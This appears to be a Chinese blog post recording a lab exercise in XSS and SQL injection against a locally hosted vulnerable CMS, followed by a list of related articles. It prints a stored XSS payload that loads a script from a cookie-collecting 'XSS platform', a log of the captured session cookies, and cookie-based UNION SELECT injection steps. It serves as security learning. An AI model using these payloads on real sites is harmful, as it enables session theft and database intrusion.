xss和sql注入学习1
在本地搭建一个存在漏洞的网站,验证xss漏洞和SQL注入的利用方法。
使用phpStudy工具搭建一个美食CMS网站平台。
0x01 xss测试
打开调试模式,定位姓名栏输入框:
尝试在value中插入xss攻击代码:
123"><script>alert(document.cookie);</script></td><td>
点击更新,成功弹出该网站登录后的cookie信息。说明这个输入框没有对<script>标签进行过滤。
如果希望将这个cookie发到自己的xss平台,可以构造如下输入:
" /></td><script src=\"http://127.0.0.1:9999/static/get.js\"></script><td>
http://127.0.0.1:9999/static/get.js为本地xss平台中获取cookie等信息的代码。
可以在本地看到如下信息:包括cookie,user_agent,ipaddress等信息。
id: 2J1h
location: http://www.xdcms.com/index.php?m=member&f=edit
toplocation: http://www.xdcms.com/index.php?m=member&f=edit
cookie: PHPSESSID=7urapqfnc9cchs31lfu38u0pi4; member_user=xdcms; member_userid=3
opener:
http_user_agent Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
http_addr 127.0.0.1
[30/Oct/2017 16:04:36] "GET /?do=api&id=2J1h&location=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&toplocation=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&cookie=PHPSESSID%3D7urapqfnc9cchs31lfu38u0pi4%3B%20member_user%3Dxdcms%
3B%20member_userid%3D3&opener= HTTP/1.1" 200 3
查看后台数据库,发现该段代码被写入了数据库,不知道是否算存储型xss???总之,这样每次刷新页面时,都会向xss平台发送cookie信息。
0x02 sql注入测试
走读后台php的代码,发现该输入界面与mysql的交互语句:
输入参数$userid来自cookie的member_userid参数,因此这里采用cookie注入的方法。
下载一个cookie修改插件,修改member_userid
member_userid=1的时候,姓名为test,可见可以通过修改这个cookie值读取数据库。
使用union select尝试获取更多数据库信息。
测试发现member_userid=4的时候,姓名电话为空,说明数据库只有3条记录;
union select 1,2,……时,出现如下报错:
have a different number of columns,说明union select的列数与表的列数不相等,尝试发现到15的时候才不出现报错:
从该显示可以看出,用户名,手机号码,姓名,安全邮箱,联系地址分别为表的第3,13,12,15,14列。可以在这些地方输出数据库信息。
xss和sql注入学习1的更多相关文章
- 总结了关于PHP xss 和 SQL 注入的问题(转)
漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何 ...
- 关于PHP xss 和 SQL 注入的问题
漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,PHP如何有效防止这些漏洞 ...
- Web攻防之XSS,CSRF,SQL注入
摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...
- DFX 安全测试-- 告诉你什么是XSS、sql注入?POST和GET的区别....
1.用户权限测试 (1) 用户权限控制 1) 用户权限控制主要是对一些有权限控制的功能进行验证 2) 用户A才能进行的操作,B是否能够进行操作(可通过窜session,将在下面介绍) 3)只能有A条件 ...
- XSS攻击&SQL注入攻击&CSRF攻击?
- XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...
- Spring MVC 如何防止XSS、SQL注入攻击
在Web项目中,通常需要处理XSS,SQL注入攻击,解决这个问题有两个思路: 在数据进入数据库之前对非法字符进行转义,在更新和显示的时候将非法字符还原 在显示的时候对非法字符进行转义 如果项目还处在起 ...
- 常见的 CSRF、XSS、sql注入、DDOS流量攻击
CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)
(整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...
随机推荐
- echarts多条折线图
折线图单只比较好配置,但是多只的话,楼主整整难了一下午才搞出来,下面分享下啦 var myChart = echarts.init(document.getElementById('series-ch ...
- 使用Arduino Nano驱动Lora模块
使用Arduino Nano驱动Lora模块 为什么选用Lora 射频通信芯片有很多种,但是一般在同样功耗下,距离没有Lora远;同等范围下,没有Lora节能. Lora通信只适用于低速率,高延时的场 ...
- mysql-主从备份问题小结
一:防火墙 常用命令 firewall-cmd --state 或 systemctl status firewalld # 查看状态 systemctl start firewalld# 启动 sy ...
- C#中的异步编程--探索await与async关键字的奥妙之处,原来理解和使用异步编程可以这么简单
前言 await与async是C#5.0推出的新语法,关于await与async有很多文章讲解.但看完后有没有这样一种感觉,感觉这东西像是不错,但好像就是看不太懂,也不清楚该怎么使用.虽然偶有接触,但 ...
- Vue项目中实现tab栏和步骤条的数据联动
也就是tab栏切换步骤条随之变化 <template> <div> <!-- 面包屑导航 --> <el-breadcrumb sepa ...
- 题解【洛谷P2730】魔板 Magic Squares
题面 首先我们可以发现,在每一次 BFS 时按照 \(A→B→C\) 的顺序枚举遍历肯定是字典序最小的. 然后就是普通的 BFS 了. 我们考虑使用 \(\text{STL map}\) 来存储起点状 ...
- Java,C 位移运算符 有符号右移>>与无符号右移>>>
个人博客 地址:https://www.wenhaofan.com/a/20181029232749 有符号右移 正数有符号右移 首先计算4>>2 将4转为二进制 0000 0100 右移 ...
- 【UWP】在 UWP 中使用 Exceptionless 进行遥测
2020年1月17日更新: nightly build 版本已发布 https://www.myget.org/feed/exceptionless/package/nuget/Exceptionle ...
- 树莓派3b 换国内源 更新源
在国内要更新源的时候,因为是国外的源,总会出现网速太慢的问题, 以下是对于安装了,2017-11-29-raspbian-stretch 系统源 更换最好用root登陆操作 sudo passwd r ...
- 【Python】七段数码管绘制问题
问题分析: 绘制路径: 代码: import turtle #引入绘图库turtle def drawLine(draw): #绘制单段数码管 turtle.pendown() if draw els ...